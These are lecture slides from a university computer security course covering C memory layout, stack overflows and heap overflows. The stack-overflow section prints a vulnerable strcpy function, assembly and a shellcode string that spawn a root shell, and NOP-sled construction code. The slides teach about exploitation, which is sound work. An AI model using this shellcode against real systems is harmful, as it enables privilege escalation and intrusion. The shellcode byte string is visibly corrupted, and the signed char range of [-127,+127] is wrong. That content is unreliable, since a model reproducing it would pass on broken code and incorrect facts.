CSE 40567 / 60567: Computer Security

Software Security 4
Mid-term Course Instructor Feedback (CIF)

10 Points of Extra Credit!
Return to Gabe
Mid-term: In-Class Thursday

Questions?
### Types

Actual size of types varies by architecture

<table>
<thead>
<tr>
<th>Type</th>
<th>Size (Intel Core i7)</th>
<th>Format specifier</th>
</tr>
</thead>
<tbody>
<tr>
<td>char</td>
<td>1 byte</td>
<td>%c</td>
</tr>
<tr>
<td>signed char</td>
<td>1 byte; range [-127,+127]</td>
<td>%c</td>
</tr>
<tr>
<td>unsigned char</td>
<td>1 byte; range [0, 255]</td>
<td>%c</td>
</tr>
<tr>
<td>short int</td>
<td>2 bytes</td>
<td>%hi</td>
</tr>
<tr>
<td>int</td>
<td>4 bytes</td>
<td>%d</td>
</tr>
<tr>
<td>long int</td>
<td>8 bytes</td>
<td>%ld</td>
</tr>
<tr>
<td>long long int</td>
<td>8 bytes</td>
<td>%lld</td>
</tr>
<tr>
<td>float</td>
<td>4 bytes</td>
<td>%f</td>
</tr>
<tr>
<td>double</td>
<td>8 bytes</td>
<td>%f</td>
</tr>
<tr>
<td>long double</td>
<td>16 bytes</td>
<td>%Lf</td>
</tr>
</tbody>
</table>
Static allocation

- Memory for variables is automatically allocated
  - On the stack or in other sections of code
- No need to explicitly reserve memory
- No control over the lifetime of this memory

```c
void func() {
    /* i and buf only exists during func */
    int i;
    int buf[256]
}
```
Dynamic allocation

- Memory for variables is manually allocated and released
  - On the heap
- Programmer has control over the the lifetime of this memory

```c
int *func() {
    int *mem = malloc(1024);
    return mem;
}

int *mem = func(); /* accessible after return */
free(mem); /* manual clean-up */
```
Arrangement of data in memory

Function addresses and auto. variables

Accessed via `malloc()`, `calloc()`, `realloc()` and `free()`; shared by all threads, dynamic libraries and modules

e.g.,

```c
int val = 3;
char string[] = "Hello World";
```

e.g.,

```c
static int i;
```

Values for variables in the initialized data segment are stored here
Stack Overflows

Objective: Execute arbitrary code on target by hijacking application flow control

- Extremely common and well known bug in C/C++ programs
  - First major exploit: 1988 Morris worm
- Some knowledge required
  - Operation of functions and the stack
  - Assembly language

https://crypto.stanford.edu/cs155/lectures/02-ctrl-hijacking.pdf
http://insecure.org/stf/smashstack.html
The stack frame

- arguments
- return address
- stack frame pointer
- exception handlers
- local variables
- callee saved registers

Stack pointer and stack growth
An example overflow

Suppose a local suid root program contains `func()`

When `func()` is called, the stack looks like:

```c
void func(char *str) {
    char buf[128];
    strcpy(buf, str);
    run(buf);
}
```
An example overflow

What if \*str is 136 bytes long?

Stack after call to strcpy():

Problem: strcpy() doesn’t check lengths!
An example overflow

Suppose that *str is such that after strcpy, the stack looks like this:

Program P: `exec("/bin/sh")`

When `func()` exits, user gets a shell

Attack code P runs in the stack
An example overflow

**Problem:** how does the attacker determine the return address?

**Solution:** NOP slide

Guess approximate state the stack is in when `func()` is called

Insert a many NOPs before P: `nop; xor eax, eax; inc ax`
void main() {
    __asm__('
        jmp 0x1f                     # 2 bytes
        popl %esi                     # 1 byte
        movl %esi,0x8(%esi)           # 3 bytes
        xorl %eax,%eax                # 2 bytes
        movb %eax,0x7(%esi)           # 3 bytes
        movl %eax,0xc(%esi)           # 3 bytes
        movb $0xb,%al                 # 2 bytes
        movl %esi,%ebx                # 2 bytes
        leal 0x8(%esi),%ecx           # 3 bytes
        leal 0xc(%esi),%edx           # 3 bytes
        int $0x80                    # 2 bytes
        xorl %ebx,%ebx                # 2 bytes
        movl %ebx,%eax                # 2 bytes
        inc %eax                     # 1 bytes
        int $0x80                    # 2 bytes
        call -0x24                    # 5 bytes
    .string "/bin/sh"
        # 8 bytes
    ');  
}
Shellcode (P)

#define NOP_SIZE 1
char nop[] = "\x90";
char shellcode[] =
  "\xeb\xf1f\xe89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\xe9\xf3\xe8d\xe4e\xe08\xe8d\xe56\xe0c\xcd\xe80\xe31\xcdb\xe89\xe8d8\xe40\xcd"
  "\xe80\xe80\xe8d\xe8c\xe8f\xe8f\xe8f/bin/sh";

ptr = buf;
  for (i = 0; i <= buf - strlen(shellcode) - NOP_SIZE;
       i += NOP_SIZE)
    for (n = 0; n < NOP_SIZE; n++) {
      m = (n + align) % NOP_SIZE;
      *(ptr++) = nop[m];
    }

for (i = 0; i < strlen(shellcode); i++)
  *(ptr++) = shellcode[i];
Notes on exploitation

• Program P should not contain the null (\0) character
• Overflow should not crash program before \texttt{func()} exits
• Getting this to work in practice is not always foolproof
  ‣ Different architecture / OS dependent memory layouts affect exploitation
  ‣ Exploit development is now stymied by OS-level defenses (more on this later)
Problematic libc functions

Do not use these:

- `strcpy(char *dest, const char *src)`
- `strcat(char *dest, const char *src)`
- `gets(char *s)`
- `scanf( const char *format, ... )`
- `strtok()`, `sprintf()`, `vsprintf()`, `makepath()`, `_splitpath()`, `sscanf()`, `snscanf()`, `strlen()`

Even “safe” functions are misleading:

- `strncpy()` and `strncat()` should also be avoided
Safer alternatives

strlcpy(char *dst, const char *src, size_t size)
strlcat(char *dst, const char *src, size_t size)
fgets(char *str, int size, FILE *stream)
fgets() in combination with sscanf() (scanf() alternative)
snprintf(char *s, size_t n, const char *format, ...)
vsnprintf(char *s, size_t n, const char *format, va_list arg)
strnlen(const char *s, size_t maxlen);
Heap Overflows

• Classic heap overflows (no longer exploitable; we’ll see why later)

• Heap spray attacks

• “malloc() Maleficarum"
Classic heap overflow

```c
#include <string.h>
#include <stdlib.h>
#include <stdio.h>

int main(int argc, char *argv[]) {
    char *buf1 = malloc(128);
    char *buf2 = malloc(256);

    read(fileno(stdin), buf1, 200);
    free(buf2);
    free(buf1);
}
```

http://www.mathyvanhoef.com/2013/02/understanding-heap-exploiting-heap.html
Heap and chunk layout

malloc/malloc.c

```c
struct malloc_chunk {
    INTERNAL_SIZE_T prev_size;  /* Size of prev. chunk (if free). */
    INTERNAL_SIZE_T size;       /* Size in bytes, inc. overhead. */

    struct malloc_chunk* fd;    /* double links; used only if free. */
    struct malloc_chunk* bk;

    /* Only used for large blocks: pointer to next larger size. */
    struct malloc_chunk* fd_nextsize; /* double links; used only if free. */
    struct malloc_chunk* bk_nextsize;
};
```
# Heap and chunk layout

<table>
<thead>
<tr>
<th>Heap</th>
<th>Call Sequence</th>
</tr>
</thead>
<tbody>
<tr>
<td>Meta-data of chunk created by <code>malloc(256)</code>&lt;br&gt;The 256 bytes of memory return by <code>malloc</code></td>
<td>1. <code>malloc(256)</code></td>
</tr>
<tr>
<td>Meta-data of chunk created by <code>malloc(512)</code>&lt;br&gt;The 512 bytes of memory return by <code>malloc</code></td>
<td>2. <code>malloc(512)</code></td>
</tr>
<tr>
<td>Meta-data of chunk created by <code>malloc(1024)</code>&lt;br&gt;The 1024 bytes of memory return by <code>malloc</code></td>
<td>3. <code>malloc(1024)</code></td>
</tr>
<tr>
<td>Meta-data of the top chunk</td>
<td></td>
</tr>
</tbody>
</table>
Interpretation of heap structure

- Depends on the current state of the chunk
- Only meta-data present in allocated chunk are the `prev_size` and `size` fields
- Buffer returned to program starts at `fd`
  - Allocated data always has 8 bytes of meta-data, after which the buffer starts
- Check whether current chunk is in use by reading the least significant bit (first bit) of the `size` field